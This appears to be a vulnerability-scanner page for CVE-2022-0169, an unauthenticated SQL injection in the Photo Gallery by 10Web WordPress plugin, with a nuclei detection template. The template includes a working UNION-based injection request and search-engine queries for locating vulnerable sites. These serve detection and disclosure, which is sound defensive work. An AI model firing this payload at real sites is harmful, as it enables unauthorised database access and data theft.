Photo Gallery by 10Web < 1.6.0 - SQL Injection

criticalseverity

9.8CVSS score

74.6%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

The Photo Gallery by 10Web WordPress plugin before 1.6.0 does not validate and escape the bwg_tag_id_bwg_thumbnails_0 parameter before using it in a SQL statement via the bwg_frontend_data AJAX action (available to unauthenticated and authenticated users), leading to an unauthenticated SQL injection

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data manipulation, or data leakage.

Fix

This is resolved in release 1.6.0.

How to confirm it

Send: GET {{BaseURL}}/wp-admin/admin-ajax.php?action=bwg_frontend_data&shortcode_id=1&bwg_tag_id_bwg_thumbnails_0[]=)%22%20union%20select%201,2,3,4,5,6,7,conca…
Positive when: contains "{{md5(num)}}" AND status 200

Run it with nuclei: nuclei -id CVE-2022-0169 -u <target>

The full check

id: CVE-2022-0169

info:
  name: Photo Gallery by 10Web < 1.6.0 - SQL Injection
  author: ritikchaddha,princechaddha
  severity: critical
  description: |
    The Photo Gallery by 10Web WordPress plugin before 1.6.0 does not validate and escape the bwg_tag_id_bwg_thumbnails_0 parameter before using it in a SQL statement via the bwg_frontend_data AJAX action (available to unauthenticated and authenticated users), leading to an unauthenticated SQL injection
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data manipulation, or data leakage.
  remediation: This is resolved in release 1.6.0.
  reference:
    - https://wpscan.com/vulnerability/0b4d870f-eab8-4544-91f8-9c5f0538709c
    - https://wordpress.org/plugins/photo-gallery/advanced/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-0169
    - https://plugins.trac.wordpress.org/changeset/2672822/photo-gallery#file9
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-0169
    cwe-id: CWE-89
    epss-score: 0.74615
    epss-percentile: 0.99502
    cpe: cpe:2.3:a:10web:photo_gallery:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: 10web
    product: photo_gallery
    framework: wordpress
    shodan-query: http.html:/wp-content/plugins/photo-gallery
    fofa-query: body=/wp-content/plugins/photo-gallery
    publicwww-query: "/wp-content/plugins/photo-gallery"
  tags: cve,cve2022,wpscan,wp,wp-plugin,wordpress,sqli,photo-gallery,10web,vkev,vuln
variables:
  num: "999999999"

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-admin/admin-ajax.php?action=bwg_frontend_data&shortcode_id=1&bwg_tag_id_bwg_thumbnails_0[]=)%22%20union%20select%201,2,3,4,5,6,7,concat(md5({{num}}),%200x2c,%208),9,10,11,12,13,14,15,16,17,18,19,20,21,22,23%20--%20g"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '{{md5(num)}}'

      - type: status
        status:
          - 200

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